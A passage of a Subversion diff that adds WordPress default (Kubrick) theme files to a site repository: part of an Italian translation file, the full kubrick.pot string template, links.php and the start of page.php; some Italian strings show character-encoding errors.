+#: index.php:23
+#: search.php:27
+#: single.php:26
+msgid "Tags:"
+msgstr "Tag:"
+
+#: archive.php:46
+#: index.php:23
+#: search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr "Pubblicato in %s"
+
+#: archive.php:46
+#: index.php:23
+#: search.php:27
+msgid "Edit"
+msgstr "Modifica"
+
+#: archive.php:46
+#: index.php:23
+#: search.php:27
+msgid "No Comments &#187;"
+msgstr "Nessun commento &#187;"
+
+#: archive.php:46
+#: index.php:23
+#: search.php:27
+msgid "1 Comment &#187;"
+msgstr "1 Commento &#187;"
+
+#: archive.php:46
+#: index.php:23
+#: search.php:27
+msgid "% Comments &#187;"
+msgstr "% Commenti &#187;"
+
+#: archive.php:46
+#: index.php:23
+#: search.php:27
+msgid "Comments Closed"
+msgstr "I Commenti sono chiusi"
+
+#: archive.php:59
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Spiacente, ma non vi Ãš ancora alcun articolo nella categoria %s."
+
+#: archive.php:61
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Spiacente, non vi Ãš alcun articolo con questa data."
+
+#: archive.php:64
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Spaicente, ma non vi Ãš ancora alcun articolo di %s."
+
+#: archive.php:66
+msgid "No posts found."
+msgstr "Nessun articolo trovato."
+
+#: archives.php:17
+msgid "Archives by Month:"
+msgstr "Archivi per Mese:"
+
+#: archives.php:22
+msgid "Archives by Subject:"
+msgstr "Archivi per Soggetto:"
+
+#: comments-popup.php:9
+#, php-format
+msgid "%1$s - Comments on %2$s"
+msgstr "%1$s - Commenti su %2$s"
+
+#: comments-popup.php:28
+msgid "Comments"
+msgstr "Commenti"
+
+#: comments-popup.php:30
+msgid "<abbr title=\"Really Simple Syndication\">RSS</abbr> feed for comments on this post."
+msgstr "Feed <abbr title=\"Really Simple Syndication\">RSS</abbr> dei commenti a questo articolo."
+
+#: comments-popup.php:33
+#, php-format
+msgid "The <abbr title=\"Universal Resource Locator\">URL</abbr> to TrackBack this entry is: <em>%s</em>"
+msgstr "La <abbr title=\"Universal Resource Locator\">URL</abbr> per fare il TrackBack di questo articolo Ãš: <em>%s</em>"
+
+#: comments-popup.php:51
+msgid "Comment"
+msgstr "Commento"
+
+#: comments-popup.php:51
+msgid "Trackback"
+msgstr "Trackback"
+
+#: comments-popup.php:51
+msgid "Pingback"
+msgstr "Pingback"
+
+#: comments-popup.php:51
+#, php-format
+msgid "by %1$s &#8212; %2$s @ <a href=\"#comment-%3$s\">%4$s</a>"
+msgstr "di %1$s &#8212; %2$s il <a href=\"#comment-%3$s\">%4$s</a>"
+
+#: comments-popup.php:57
+msgid "No comments yet."
+msgstr "Non vi Ãš ancora nessun commento."
+
+#: comments-popup.php:61
+msgid "Leave a comment"
+msgstr "Lascia un commento"
+
+#: comments-popup.php:62
+#, php-format
+msgid "Line and paragraph breaks automatic, e-mail address never displayed, <acronym title=\"Hypertext Markup Language\">HTML</acronym> allowed: <code>%s</code>"
+msgstr "Linee e paragrafi tornano a capo automaticamente, gli indirizzi e-mail non vengono mai visualizzati, codice <acronym title=\"Hypertext Markup Language\">HTML</acronym> consentito: <code>%s</code>"
+
+#: comments-popup.php:66
+#, php-format
+msgid "Logged in as <a href=\"%1$s\">%2$s</a>. <a href=\"%3$s\" title=\"Log out of this account\">Log out &raquo;</a>"
+msgstr "Autenticato come <a href=\"%1$s\">%2$s</a>. <a href=\"%3$s\" title=\"Scollegati da questo account\">Logout &raquo;</a>"
+
+#: comments-popup.php:70
+#: comments.php:72
+msgid "Name"
+msgstr "Nome"
+
+#: comments-popup.php:75
+msgid "E-mail"
+msgstr "E-mail"
+
+#: comments-popup.php:80
+msgid "<abbr title=\"Universal Resource Locator\">URL</abbr>"
+msgstr "<abbr title=\"Uniform Resource Locator\">URL</abbr>"
+
+#: comments-popup.php:85
+msgid "Your Comment"
+msgstr "Il tuo commento"
+
+#: comments-popup.php:93
+msgid "Say It!"
+msgstr "Dillo!"
+
+#: comments-popup.php:98
+msgid "Sorry, the comment form is closed at this time."
+msgstr "Spiacente, al momento l&#8217;inserimento di commenti non Ãš consentito."
+
+#: comments-popup.php:103
+msgid "Close this window."
+msgstr "Chiudi questa finestra."
+
+#: comments-popup.php:109
+#: single.php:65
+msgid "Sorry, no posts matched your criteria."
+msgstr "Spiacente, nessun articolo risponde ai tuoi criteri di ricerca."
+
+#: comments-popup.php:113
+#, php-format
+msgid "Powered by <a href=\"%s\" title=\"Powered by WordPress, state-of-the-art semantic personal publishing platform\"><strong>WordPress</strong></a>"
+msgstr "Utilizza <a href=\"%s\" title=\"Utilizza WordPress, piattaforma semantica avanzata di editoria personale\"><strong>Wordpress</strong></a>"
+
+#: comments.php:12
+msgid "This post is password protected. Enter the password to view comments."
+msgstr "Questo articolo Ãš protetto da password. Inserisci la password per visualizzare i commenti."
+
+#: comments.php:21
+msgid "No Responses"
+msgstr "Nessun commento"
+
+#: comments.php:21
+msgid "One Response"
+msgstr "Un Commento"
+
+#: comments.php:21
+msgid "% Responses"
+msgstr "% Commenti"
+
+#: comments.php:21
+#, php-format
+msgid "to &#8220;%s&#8221;"
+msgstr "a &#8220;%s&#8221;"
+
+#: comments.php:43
+msgid "Comments are closed."
+msgstr "I Commenti sono chiusi"
+
+#: comments.php:53
+msgid "Leave a Reply"
+msgstr "Lascia un Commento"
+
+#: comments.php:53
+#, php-format
+msgid "Leave a Reply for %s"
+msgstr "Lascia una replica per %s"
+
+#: comments.php:60
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Devi aver fatto il <a href=\"%s\">login</a> per inviare un commento"
+
+#: comments.php:67
+#, php-format
+msgid "Logged in as <a href=\"%1$s\">%2$s</a>."
+msgstr "Autenticato come <a href=\"%1$s\">%2$s</a>."
+
+#: comments.php:67
+msgid "Log out of this account"
+msgstr "Esci da questo account"
+
+#: comments.php:67
+msgid "Log out &raquo;"
+msgstr "Log out &raquo;"
+
+#: comments.php:72
+#: comments.php:75
+msgid "(required)"
+msgstr "(obbligatorio)"
+
+#: comments.php:75
+msgid "Mail (will not be published)"
+msgstr "Mail (che non verrÃ  pubblicata)"
+
+#: comments.php:78
+msgid "Website"
+msgstr "Sito web"
+
+#: comments.php:82
+#, php-format
+msgid "<strong>XHTML:</strong> You can use these tags: <code>%s</code>"
+msgstr "<strong>XHTML:</strong> &Egrave; possibile utilizzare questi marcatori: <code>%s</code>"
+
+#: comments.php:86
+msgid "Submit Comment"
+msgstr "Invia commento"
+
+#: footer.php:12
+#, php-format
+msgid "%1$s is proudly powered by %2$s"
+msgstr "%1$s utilizza %2$s"
+
+#: footer.php:14
+#, php-format
+msgid "%1$s and %2$s."
+msgstr "%1$s e %2$s."
+
+#: footer.php:14
+msgid "Entries (RSS)"
+msgstr "Articoli (RSS)"
+
+#: footer.php:14
+msgid "Comments (RSS)"
+msgstr "Commenti (RSS)"
+
+#: footer.php:15
+#, php-format
+msgid "%d queries. %s seconds."
+msgstr "%d query. %s secondi."
+
+#: functions.php:156
+msgid "Custom Header"
+msgstr "Testata personalizzata"
+
+#: functions.php:169
+msgid "Close Color Picker"
+msgstr "Chiudi selettore colore"
+
+#: functions.php:366
+msgid "Options saved."
+msgstr "Opzioni salvate."
+
+#: functions.php:369
+msgid "Customize Header"
+msgstr "Testata personalizzata"
+
+#: functions.php:383
+#: functions.php:390
+msgid "Save"
+msgstr "Salva"
+
+#: functions.php:384
+msgid "Font Color:"
+msgstr "Colore carattere:"
+
+#: functions.php:384
+#, php-format
+msgid "Any CSS color (%s or %s or %s)"
+msgstr "Qualsiasi colore CSS  (%s o %s o %s)"
+
+#: functions.php:385
+msgid "Upper Color:"
+msgstr "Colore superiore:"
+
+#: functions.php:385
+#: functions.php:386
+#, php-format
+msgid "HEX only (%s or %s)"
+msgstr "Solo HEX (%s o %s)"
+
+#: functions.php:386
+msgid "Lower Color:"
+msgstr "Colore inferiore:"
+
+#: functions.php:388
+msgid "Toggle Text"
+msgstr "Attiva/Disattiva testo"
+
+#: functions.php:389
+msgid "Use Defaults"
+msgstr "Utilizza i valori predefiniti"
+
+#: functions.php:398
+msgid "Font Color"
+msgstr "Colore carattere"
+
+#: functions.php:399
+msgid "Upper Color"
+msgstr "Colore superiore"
+
+#: functions.php:400
+msgid "Lower Color"
+msgstr "Colore inferiore"
+
+#: functions.php:401
+msgid "Revert"
+msgstr "Ripristina"
+
+#: functions.php:402
+msgid "Advanced"
+msgstr "Avanzato"
+
+#: functions.php:409
+msgid "Update Header"
+msgstr "Aggiorna testata"
+
+#: functions.php:415
+msgid "Font Color (CSS):"
+msgstr "Colore del testo (CSS):"
+
+#: functions.php:416
+msgid "Upper Color (HEX):"
+msgstr "Colore superiore (HEX):"
+
+#: functions.php:417
+msgid "Lower Color (HEX):"
+msgstr "Colore inferiore (HEX):"
+
+#: functions.php:418
+msgid "Select Default Colors"
+msgstr "Seleziona il colore predefinito"
+
+#: functions.php:419
+msgid "Toggle Text Display"
+msgstr "Attiva/Disattiva visualizzazione testo"
+
+#: index.php:20
+#: single.php:23
+msgid "Read the rest of this entry &raquo;"
+msgstr "Leggi il resto di questo articolo &raquo;"
+
+#: index.php:35
+msgid "Not Found"
+msgstr "Non Trovato"
+
+#: index.php:36
+msgid "Sorry, but you are looking for something that isn&#8217;t here."
+msgstr "Spiacente, ma stai cercando qualche cosa che qui non esiste."
+
+#: links.php:16
+msgid "Links:"
+msgstr "Link:"
+
+#: page.php:15
+msgid "Read the rest of this page &raquo;"
+msgstr "Leggi il resto di questa pagina &raquo;"
+
+#: page.php:17
+#: single.php:25
+msgid "Pages:"
+msgstr "Pagine:"
+
+#: page.php:22
+msgid "Edit this entry."
+msgstr "Modifica questo articolo."
+
+#: search.php:13
+msgid "Search Results"
+msgstr "Risultati della ricerca"
+
+#: search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "Nessun articolo trovato. Vuoi provare una ricerca diversa?"
+
+#: sidebar.php:16
+msgid "Author"
+msgstr "Autore"
+
+#: sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr "Stai visualizzando gli archivi per la categoria %s."
+
+#: sidebar.php:30
+#, php-format
+msgid "You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for the day %3$s."
+msgstr "Si stanno visualizzando gli archivi del blog <a href=\"%1$s/\">%2$s</a> per il girono %3$s."
+
+#: sidebar.php:33
+#, php-format
+msgid "You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for %3$s."
+msgstr "Stai visualizzando gli archivi del blog <a href=\"%1$s/\">%2$s</a> di %3$s."
+
+#: sidebar.php:36
+#, php-format
+msgid "You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for the year %3$s."
+msgstr "Si stanno visualizzando gli archivi del blog <a href=\"%1$s/\">%2$s</a> per l&#8217;anno %3$s."
+
+#: sidebar.php:39
+#, php-format
+msgid "You have searched the <a href=\"%1$s/\">%2$s</a> blog archives for <strong>&#8216;%3$s&#8217;</strong>. If you are unable to find anything in these search results, you can try one of these links."
+msgstr "Si Ãš cercato negli archivi del blog <a href=\"%1$s/\">%2$s</a> per <strong>&#8216;%3$s&#8217;</strong>. Se non si Ãš trovato nulla in questi risultati Ãš possibile provare uno di questi link."
+
+#: sidebar.php:42
+#, php-format
+msgid "You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives."
+msgstr "Stai visualizzando gli archivi del blog <a href=\"%1$s/\">%2$s</a>."
+
+#: sidebar.php:50
+msgid "Pages"
+msgstr "Pagine"
+
+#: sidebar.php:52
+msgid "Archives"
+msgstr "Archivi"
+
+#: sidebar.php:58
+msgid "Categories"
+msgstr "Categorie"
+
+#: sidebar.php:64
+msgid "Meta"
+msgstr "Meta"
+
+#: sidebar.php:68
+msgid "This page validates as XHTML 1.0 Transitional"
+msgstr "Il codice di questa pagina Ãš XHTML 1.0 Transitional valido"
+
+#: sidebar.php:68
+msgid "Valid <abbr title=\"eXtensible HyperText Markup Language\">XHTML</abbr>"
+msgstr "<abbr title=\"eXtensible HyperText Markup Language\">XHTML</abbr> valido"
+
+#: sidebar.php:69
+msgid "XHTML Friends Network"
+msgstr "XHTML Friends Network"
+
+#: sidebar.php:69
+msgid "XFN"
+msgstr "XFN"
+
+#: sidebar.php:70
+msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
+msgstr "Funziona con Wordpress, piattaforma avanzata di editoria personale semantica."
+
+#: single.php:34
+#, php-format
+msgid "This entry was posted %1$s on %2$s at %3$s and is filed under %4$s."
+msgstr "Questo articolo Ãš stato pubblicato %1$s il %2$s alle %3$s e classificato in %4$s."
+
+#: single.php:35
+#, php-format
+msgid "You can follow any responses to this entry through the <a href='%s'>RSS 2.0</a> feed."
+msgstr "&Egrave; possibile seguire tutte le repliche a questo articolo tramite il feed <a href='%s'>RSS 2.0</a>."
+
+#: single.php:39
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Puoi <a href=\"#respond\">lasciare un commento</a>, oppure fare il <a href=\"%s\" rel=\"trackback\">trackback</a> dal tuo sito."
+
+#: single.php:43
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "I commenti sono attualmente chiusi, ma puoi fare il <a href=\"%s\" rel=\"trackback\">trackback</a> dal tuo sito."
+
+#: single.php:47
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Potete andare alla fine e lasciare un commento di risposta. I Ping non sono attualmente permessi."
+
+#: single.php:51
+msgid "Both comments and pings are currently closed."
+msgstr "Sia i commenti che i ping sono attualmente chiusi."
+
+#: single.php:53
+msgid "Edit this entry"
+msgstr "Modifica questo articolo"
+
+#. Theme Name of an extension
+msgid "WordPress Default"
+msgstr "predefinito WordPress"
+
+#. Theme URI of an extension
+msgid "http://wordpress.org/"
+msgstr "http://wordpress.org/"
+
+#. Description of an extension
+msgid "The default WordPress theme based on the famous <a href=\"http://binarybonsai.com/kubrick/\">Kubrick</a>."
+msgstr "Il tema standard di WordPress basato sul famoso <a href=\"http://binarybonsai.com/kubrick/\">Kubrick</a>."
+
+#. Author of an extension
+msgid "Michael Heilemann"
+msgstr "Michael Heilemann"
+
+#. Author URI of an extension
+msgid "http://binarybonsai.com/"
+msgstr "http://binarybonsai.com/"
+
+#. Tags of an extension
+msgid "blue, custom header, fixed width, two columns, widgets"
+msgstr "blu, testata personalizzata, larghezza fissa, due colonne, widget"
+
+#~ msgid "Header Image and Color"
+#~ msgstr "Immagine e colore della testata"
+#~ msgid "&raquo; Blog Archive"
+#~ msgstr "&raquo; Archivi Blog"
+#~ msgid "%s RSS Feed"
+#~ msgstr "RSS Feed %s"
+#~ msgid "%s Atom Feed"
+#~ msgstr "Feed Atom %s"
+#~ msgid "This entry was posted on %1$s at %2$s and is filed under %3$s."
+#~ msgstr ""
+#~ "Questo articolo Ãš stato pubblicato il %1$s alle %2$s e classificato in %3"
+#~ "$s."
+#~ msgid "Search for:"
+#~ msgstr "Cerca:"
+#~ msgid "Search"
+#~ msgstr "Cerca"
+#~ msgid "Permanent Link: %s"
+#~ msgstr "Permalink a: %s"
+#~ msgid "Sorry, no attachments matched your criteria."
+#~ msgstr "Spiacente, nessun allegato risponde ai tuoi criteri di ricerca."
+#~ msgid "<cite>%s</cite> Says:"
+#~ msgstr "<cite>%s</cite> Scrive:"
+#~ msgid "Your comment is awaiting moderation."
+#~ msgstr "Il tuo commento Ãš in attesa di moderazione"
+#~ msgid "%1$s at %2$s"
+#~ msgstr "%1$s alle %2$s"
+#~ msgid "edit"
+#~ msgstr "modifica"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/kubrick.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/kubrick.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/kubrick.pot	(revision 44)
@@ -0,0 +1,612 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Michael Heilemann
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: WordPress Default 1.6\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/theme\n"
+"POT-Creation-Date: 2009-05-18 17:54+0300\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: 404.php:12
+msgid "Error 404 - Not Found"
+msgstr ""
+
+#: archive.php:16
+#, php-format
+msgid "Archive for the &#8216;%s&#8217; Category"
+msgstr ""
+
+#: archive.php:18
+#, php-format
+msgid "Posts Tagged &#8216;%s&#8217;"
+msgstr ""
+
+#: archive.php:20
+#, php-format
+msgid "Archive for %s|Daily archive page"
+msgstr ""
+
+#: archive.php:20 index.php:17
+msgid "F jS, Y"
+msgstr ""
+
+#: archive.php:22
+#, php-format
+msgid "Archive for %s|Monthly archive page"
+msgstr ""
+
+#: archive.php:22 sidebar.php:33
+msgid "F, Y"
+msgstr ""
+
+#: archive.php:24
+#, php-format
+msgid "Archive for %s|Yearly archive page"
+msgstr ""
+
+#: archive.php:24
+msgid "Y"
+msgstr ""
+
+#: archive.php:26
+msgid "Author Archive"
+msgstr ""
+
+#: archive.php:28
+msgid "Blog Archives"
+msgstr ""
+
+#: archive.php:33 archive.php:53 index.php:29 search.php:16 search.php:33
+msgid "&laquo; Older Entries"
+msgstr ""
+
+#: archive.php:34 archive.php:54 index.php:30 search.php:17 search.php:34
+msgid "Newer Entries &raquo;"
+msgstr ""
+
+#: archive.php:39 index.php:16 search.php:24
+#, php-format
+msgid "Permanent Link to %s"
+msgstr ""
+
+#: archive.php:40 sidebar.php:30 single.php:34
+msgid "l, F jS, Y"
+msgstr ""
+
+#: archive.php:46 index.php:23 search.php:27 single.php:26
+msgid "Tags:"
+msgstr ""
+
+#: archive.php:46 index.php:23 search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr ""
+
+#: archive.php:46 index.php:23 search.php:27
+msgid "Edit"
+msgstr ""
+
+#: archive.php:46 index.php:23 search.php:27
+msgid "No Comments &#187;"
+msgstr ""
+
+#: archive.php:46 index.php:23 search.php:27
+msgid "1 Comment &#187;"
+msgstr ""
+
+#: archive.php:46 index.php:23 search.php:27
+msgid "% Comments &#187;"
+msgstr ""
+
+#: archive.php:46 index.php:23 search.php:27
+msgid "Comments Closed"
+msgstr ""
+
+#: archive.php:59
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr ""
+
+#: archive.php:61
+msgid "Sorry, but there aren't any posts with this date."
+msgstr ""
+
+#: archive.php:64
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr ""
+
+#: archive.php:66
+msgid "No posts found."
+msgstr ""
+
+#: archives.php:17
+msgid "Archives by Month:"
+msgstr ""
+
+#: archives.php:22
+msgid "Archives by Subject:"
+msgstr ""
+
+#: comments-popup.php:9
+#, php-format
+msgid "%1$s - Comments on %2$s"
+msgstr ""
+
+#: comments-popup.php:28
+msgid "Comments"
+msgstr ""
+
+#: comments-popup.php:30
+msgid ""
+"<abbr title=\"Really Simple Syndication\">RSS</abbr> feed for comments on "
+"this post."
+msgstr ""
+
+#: comments-popup.php:33
+#, php-format
+msgid ""
+"The <abbr title=\"Universal Resource Locator\">URL</abbr> to TrackBack this "
+"entry is: <em>%s</em>"
+msgstr ""
+
+#: comments-popup.php:51
+msgid "Comment"
+msgstr ""
+
+#: comments-popup.php:51
+msgid "Trackback"
+msgstr ""
+
+#: comments-popup.php:51
+msgid "Pingback"
+msgstr ""
+
+#: comments-popup.php:51
+#, php-format
+msgid "by %1$s &#8212; %2$s @ <a href=\"#comment-%3$s\">%4$s</a>"
+msgstr ""
+
+#: comments-popup.php:57
+msgid "No comments yet."
+msgstr ""
+
+#: comments-popup.php:61
+msgid "Leave a comment"
+msgstr ""
+
+#: comments-popup.php:62
+#, php-format
+msgid ""
+"Line and paragraph breaks automatic, e-mail address never displayed, "
+"<acronym title=\"Hypertext Markup Language\">HTML</acronym> allowed: <code>%"
+"s</code>"
+msgstr ""
+
+#: comments-popup.php:66
+#, php-format
+msgid ""
+"Logged in as <a href=\"%1$s\">%2$s</a>. <a href=\"%3$s\" title=\"Log out of "
+"this account\">Log out &raquo;</a>"
+msgstr ""
+
+#: comments-popup.php:70 comments.php:72
+msgid "Name"
+msgstr ""
+
+#: comments-popup.php:75
+msgid "E-mail"
+msgstr ""
+
+#: comments-popup.php:80
+msgid "<abbr title=\"Universal Resource Locator\">URL</abbr>"
+msgstr ""
+
+#: comments-popup.php:85
+msgid "Your Comment"
+msgstr ""
+
+#: comments-popup.php:93
+msgid "Say It!"
+msgstr ""
+
+#: comments-popup.php:98
+msgid "Sorry, the comment form is closed at this time."
+msgstr ""
+
+#: comments-popup.php:103
+msgid "Close this window."
+msgstr ""
+
+#: comments-popup.php:109 single.php:65
+msgid "Sorry, no posts matched your criteria."
+msgstr ""
+
+#: comments-popup.php:113
+#, php-format
+msgid ""
+"Powered by <a href=\"%s\" title=\"Powered by WordPress, state-of-the-art "
+"semantic personal publishing platform\"><strong>WordPress</strong></a>"
+msgstr ""
+
+#: comments.php:12
+msgid "This post is password protected. Enter the password to view comments."
+msgstr ""
+
+#: comments.php:21
+msgid "No Responses"
+msgstr ""
+
+#: comments.php:21
+msgid "One Response"
+msgstr ""
+
+#: comments.php:21
+msgid "% Responses"
+msgstr ""
+
+#: comments.php:21
+#, php-format
+msgid "to &#8220;%s&#8221;"
+msgstr ""
+
+#: comments.php:43
+msgid "Comments are closed."
+msgstr ""
+
+#: comments.php:53
+msgid "Leave a Reply"
+msgstr ""
+
+#: comments.php:53
+#, php-format
+msgid "Leave a Reply for %s"
+msgstr ""
+
+#: comments.php:60
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr ""
+
+#: comments.php:67
+#, php-format
+msgid "Logged in as <a href=\"%1$s\">%2$s</a>."
+msgstr ""
+
+#: comments.php:67
+msgid "Log out of this account"
+msgstr ""
+
+#: comments.php:67
+msgid "Log out &raquo;"
+msgstr ""
+
+#: comments.php:72 comments.php:75
+msgid "(required)"
+msgstr ""
+
+#: comments.php:75
+msgid "Mail (will not be published)"
+msgstr ""
+
+#: comments.php:78
+msgid "Website"
+msgstr ""
+
+#: comments.php:82
+#, php-format
+msgid "<strong>XHTML:</strong> You can use these tags: <code>%s</code>"
+msgstr ""
+
+#: comments.php:86
+msgid "Submit Comment"
+msgstr ""
+
+#: footer.php:12
+#, php-format
+msgid "%1$s is proudly powered by %2$s"
+msgstr ""
+
+#: footer.php:14
+#, php-format
+msgid "%1$s and %2$s."
+msgstr ""
+
+#: footer.php:14
+msgid "Entries (RSS)"
+msgstr ""
+
+#: footer.php:14
+msgid "Comments (RSS)"
+msgstr ""
+
+#: footer.php:15
+#, php-format
+msgid "%d queries. %s seconds."
+msgstr ""
+
+#: functions.php:156
+msgid "Custom Header"
+msgstr ""
+
+#: functions.php:169
+msgid "Close Color Picker"
+msgstr ""
+
+#: functions.php:366
+msgid "Options saved."
+msgstr ""
+
+#: functions.php:369
+msgid "Customize Header"
+msgstr ""
+
+#: functions.php:383 functions.php:390
+msgid "Save"
+msgstr ""
+
+#: functions.php:384
+msgid "Font Color:"
+msgstr ""
+
+#: functions.php:384
+#, php-format
+msgid "Any CSS color (%s or %s or %s)"
+msgstr ""
+
+#: functions.php:385
+msgid "Upper Color:"
+msgstr ""
+
+#: functions.php:385 functions.php:386
+#, php-format
+msgid "HEX only (%s or %s)"
+msgstr ""
+
+#: functions.php:386
+msgid "Lower Color:"
+msgstr ""
+
+#: functions.php:388
+msgid "Toggle Text"
+msgstr ""
+
+#: functions.php:389
+msgid "Use Defaults"
+msgstr ""
+
+#: functions.php:398
+msgid "Font Color"
+msgstr ""
+
+#: functions.php:399
+msgid "Upper Color"
+msgstr ""
+
+#: functions.php:400
+msgid "Lower Color"
+msgstr ""
+
+#: functions.php:401
+msgid "Revert"
+msgstr ""
+
+#: functions.php:402
+msgid "Advanced"
+msgstr ""
+
+#: functions.php:409
+msgid "Update Header"
+msgstr ""
+
+#: functions.php:415
+msgid "Font Color (CSS):"
+msgstr ""
+
+#: functions.php:416
+msgid "Upper Color (HEX):"
+msgstr ""
+
+#: functions.php:417
+msgid "Lower Color (HEX):"
+msgstr ""
+
+#: functions.php:418
+msgid "Select Default Colors"
+msgstr ""
+
+#: functions.php:419
+msgid "Toggle Text Display"
+msgstr ""
+
+#: index.php:20 single.php:23
+msgid "Read the rest of this entry &raquo;"
+msgstr ""
+
+#: index.php:35
+msgid "Not Found"
+msgstr ""
+
+#: index.php:36
+msgid "Sorry, but you are looking for something that isn&#8217;t here."
+msgstr ""
+
+#: links.php:16
+msgid "Links:"
+msgstr ""
+
+#: page.php:15
+msgid "Read the rest of this page &raquo;"
+msgstr ""
+
+#: page.php:17 single.php:25
+msgid "Pages:"
+msgstr ""
+
+#: page.php:22
+msgid "Edit this entry."
+msgstr ""
+
+#: search.php:13
+msgid "Search Results"
+msgstr ""
+
+#: search.php:39
+msgid "No posts found. Try a different search?"
+msgstr ""
+
+#: sidebar.php:16
+msgid "Author"
+msgstr ""
+
+#: sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr ""
+
+#: sidebar.php:30
+#, php-format
+msgid ""
+"You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for "
+"the day %3$s."
+msgstr ""
+
+#: sidebar.php:33
+#, php-format
+msgid ""
+"You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for %"
+"3$s."
+msgstr ""
+
+#: sidebar.php:36
+#, php-format
+msgid ""
+"You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives for "
+"the year %3$s."
+msgstr ""
+
+#: sidebar.php:39
+#, php-format
+msgid ""
+"You have searched the <a href=\"%1$s/\">%2$s</a> blog archives for "
+"<strong>&#8216;%3$s&#8217;</strong>. If you are unable to find anything in "
+"these search results, you can try one of these links."
+msgstr ""
+
+#: sidebar.php:42
+#, php-format
+msgid ""
+"You are currently browsing the <a href=\"%1$s/\">%2$s</a> blog archives."
+msgstr ""
+
+#: sidebar.php:50
+msgid "Pages"
+msgstr ""
+
+#: sidebar.php:52
+msgid "Archives"
+msgstr ""
+
+#: sidebar.php:58
+msgid "Categories"
+msgstr ""
+
+#: sidebar.php:64
+msgid "Meta"
+msgstr ""
+
+#: sidebar.php:68
+msgid "This page validates as XHTML 1.0 Transitional"
+msgstr ""
+
+#: sidebar.php:68
+msgid "Valid <abbr title=\"eXtensible HyperText Markup Language\">XHTML</abbr>"
+msgstr ""
+
+#: sidebar.php:69
+msgid "XHTML Friends Network"
+msgstr ""
+
+#: sidebar.php:69
+msgid "XFN"
+msgstr ""
+
+#: sidebar.php:70
+msgid ""
+"Powered by WordPress, state-of-the-art semantic personal publishing platform."
+msgstr ""
+
+#: single.php:34
+#, php-format
+msgid "This entry was posted %1$s on %2$s at %3$s and is filed under %4$s."
+msgstr ""
+
+#: single.php:35
+#, php-format
+msgid ""
+"You can follow any responses to this entry through the <a href='%s'>RSS 2.0</"
+"a> feed."
+msgstr ""
+
+#: single.php:39
+#, php-format
+msgid ""
+"You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel="
+"\"trackback\">trackback</a> from your own site."
+msgstr ""
+
+#: single.php:43
+#, php-format
+msgid ""
+"Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback"
+"\">trackback</a> from your own site."
+msgstr ""
+
+#: single.php:47
+msgid ""
+"You can skip to the end and leave a response. Pinging is currently not "
+"allowed."
+msgstr ""
+
+#: single.php:51
+msgid "Both comments and pings are currently closed."
+msgstr ""
+
+#: single.php:53
+msgid "Edit this entry"
+msgstr ""
+
+#. Theme Name of an extension
+msgid "WordPress Default"
+msgstr ""
+
+#. Theme URI of an extension
+msgid "http://wordpress.org/"
+msgstr ""
+
+#. Description of an extension
+msgid ""
+"The default WordPress theme based on the famous <a href=\"http://"
+"binarybonsai.com/kubrick/\">Kubrick</a>."
+msgstr ""
+
+#. Author of an extension
+msgid "Michael Heilemann"
+msgstr ""
+
+#. Author URI of an extension
+msgid "http://binarybonsai.com/"
+msgstr ""
+
+#. Tags of an extension
+msgid "blue, custom header, fixed width, two columns, widgets"
+msgstr ""
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/links.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/links.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/links.php	(revision 44)
@@ -0,0 +1,23 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+/*
+Template Name: Links
+*/
+?>
+
+<?php get_header(); ?>
+
+<div id="content" class="widecolumn">
+
+<h2><?php _e('Links:', 'kubrick'); ?></h2>
+<ul>
+<?php wp_list_bookmarks(); ?>
+</ul>
+
+</div>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/page.php	(revision 44)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
